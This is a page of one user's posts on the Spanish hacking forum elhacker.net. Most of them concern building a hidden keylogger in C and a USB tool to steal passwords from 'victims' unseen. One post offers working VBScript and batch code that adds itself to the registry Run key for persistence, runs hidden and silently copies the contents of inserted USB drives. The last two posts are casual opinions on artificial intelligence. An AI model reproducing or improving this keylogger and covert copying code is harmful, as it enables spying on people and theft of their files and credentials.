elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


Tema destacado: También estamos presentes en BlueSky


  Mostrar Mensajes
Páginas: 1 ... 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 [22] 23
211  Programación / Programación C/C++ / Re: wait() en c++ (windows) en: 21 Diciembre 2011, 21:39 pm
Ok, en realidad lo que estoy haciendo es un keylogger...y este es el codigo:
Código:
    int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {  
        // Main();
        ocultar();
        file();
        hora();
        HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL,keyboardHookProc,hInstance,0);
        MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK);
        fclose(fichero);
        return 0;
    }

Bien, funciona todo correctamente, pero me saca por pantalla el MessageBox(). Y lo que quiero es quitarlo. Si lo quito sin mas, el Main finaliza, ya que el MessageBox permite que se quede en espera el keylogger hasta que se presione el boton de OK.
Y por eso quiero el wait() para hacer la espera....y es que con sleep() se da el problema de la espera activa y chupa muchos recursos de la CPU

¿Alguna idea de como quitar ese MessageBox y de que no finalice la ejecucion?

¡Gracias!
212  Programación / Programación C/C++ / wait() en c++ (windows) en: 21 Diciembre 2011, 20:46 pm
¡Buenas a todos!

Quiero esar la funcion wait() en c++ para windows y el compilador dice que esta funcion no la tengo definida.
Asi que el error esta en que no tengo incluida la libreria adecuada. En linux es sys/wait.h y ¿en windows cual es?
Segun he leido por google, la libreria es unistd.h pero esta ya la tengo incluida y me sigue dando el mismo error.

Estas son mis librerias:
    #include<stdio.h>
    #include<fstream>
    #include<windows.h>
    #include<time.h>
    #include<conio.h>
    #include<unistd.h>
¿cual es la libreria que me falta?

Y otra pregunta:
Me he encontrado esto en un codigo antes de los includes:
     #define _WIN32_WINNT 0x0500
Tiene pinta de decir en que posicion de la memoria se debe cargar el programa...¿es eso? si no es asi, ¿que significa?

¡Gracias, un saludo!

213  Programación / Programación C/C++ / Re: Keylogger: Cambio de ventana en: 6 Diciembre 2011, 16:12 pm
¡Muchas gracias! ya me ha quedado claro y creo que podré hacerlo sin problema!
¡Un saludo!
214  Programación / Programación C/C++ / Re: Keylogger: Cambio de ventana en: 6 Diciembre 2011, 02:35 am
Efectivamente, cuando el keylogger pasa a background deja de capturar....
Para coger las letras uso getch() porque me parece sencillo y al fin y al cabo solo me importan los caracteres ascii (las teclas F1..F12 y demas puedo prescindir de ellas..)

En cuanto al hook, no conozco esta funcion...he buscado un poco por google y he visto que es un metodo API, pero no termino de ver lo que es y como funciona, ¿podrías aclaramelo?

¡Gracias!
215  Programación / Programación C/C++ / Keylogger: Cambio de ventana en: 5 Diciembre 2011, 23:04 pm
¡Buenas a todos!

Estoy haciendo mi primer keylogger en C. Me funciona todo perfectamente excepto que si el usuario hace un cambio de ventana, el programa ya no captura las teclas...
¿Hay alguna función que me permita solucionar esto?

!Gracias, un saludo¡

216  Sistemas Operativos / Windows / Re: Autoejecutar USB oculto! en: 21 Noviembre 2011, 18:00 pm
Gracias dato000, creo que tienes razon, es cosa del SO. Imagino que tendre que meterlo en el autorun.ini y esperar que el usuario lo ejecute....
217  Sistemas Operativos / Windows / Autoejecutar USB oculto! en: 15 Noviembre 2011, 16:15 pm
Buenas a todos!

¿Querria preguntaros si sabeis como ejecutar de forma automatica un .exe en un USB de forma oculta?

Creando un Autorun.inf con OPEN=programa.exe salta la ventana de windows preguntado si autoarrancar o abrir carpeta.....

La idea es....que tengo un programa que roba passwors desde el usb, el problema esta en que quiero que este programa se ejecute de forma oculta segun inserte el usb de tal forma que la victima no vea nada en la interfaz de windows.....

¿Es posible esto?
218  Programación / Scripting / Re: script vbs con ruta relativa en: 26 Octubre 2011, 13:37 pm
Esa simple linea me ha dado la vida! jajaja
Ahora funciona todo perfectamente!

Para quien quiera este script que copia los usb de manera oculta, aqui os dejo el codigo bien hecho y mejorado!

archivo sys.vbs
Código:
set objshell = createobject("wscript.shell")
rutaBat = left(wscript.scriptfullname,len(wscript.scriptfullname)-len(wscript.scriptname))
rutaSys = rutaBat &"sys.vbs"
rutaBat = rutaBat &"system.bat"
objshell.regWrite "HKCU\software\microsoft\windows\currentversion\run\sys", rutaSys, "REG_SZ"
objshell.run rutaBat,vbhide

archivo system.bat
Código:
@echo off

:loop
for /f "tokens=1" %%x in ('wmic logicaldisk get caption^, description ^| find /i "extra"') do (
xcopy /s %%x
if EXIST %%x goto end
)
goto loop
:end
exit /b 0

Muchisimas gracias Novlucker! ;)
Un saludo!
219  Foros Generales / Noticias / Re: Muere el padre de la inteligencia artificial moderna, John McCarthy en: 26 Octubre 2011, 11:36 am
Otra cosa que una maquina no podria hacer es afrontar problemas nuevos. Es decir, si una maquina se topa con un problema nuevo, lo que hara es y probando todos sus algoritmos para resolver problemas, si todos fallan, te dira que no tiene solucion. No seria capaz de crear algoritmos nuevos para afrontar este nuevo problema.
En cambio cuando un ser humano se topa con un problema nuevo, prueba 1º ha hacer cosas que ya conoce para solucionarlo, si no lo soluciona, entonces empiza a probar cosas nuevas hasta dar con una conclusion.
220  Foros Generales / Noticias / Re: Muere el padre de la inteligencia artificial moderna, John McCarthy en: 26 Octubre 2011, 07:39 am
Estoy totalmente deacuerso con WHK.
Puesto que una emocion es una operacion de E/S, una maquina podria utilizarla perfectamente. Solo hay que fijarse bien en cuales son los datos de entrada y cuales son los datos de salida.
Páginas: 1 ... 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 [22] 23
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines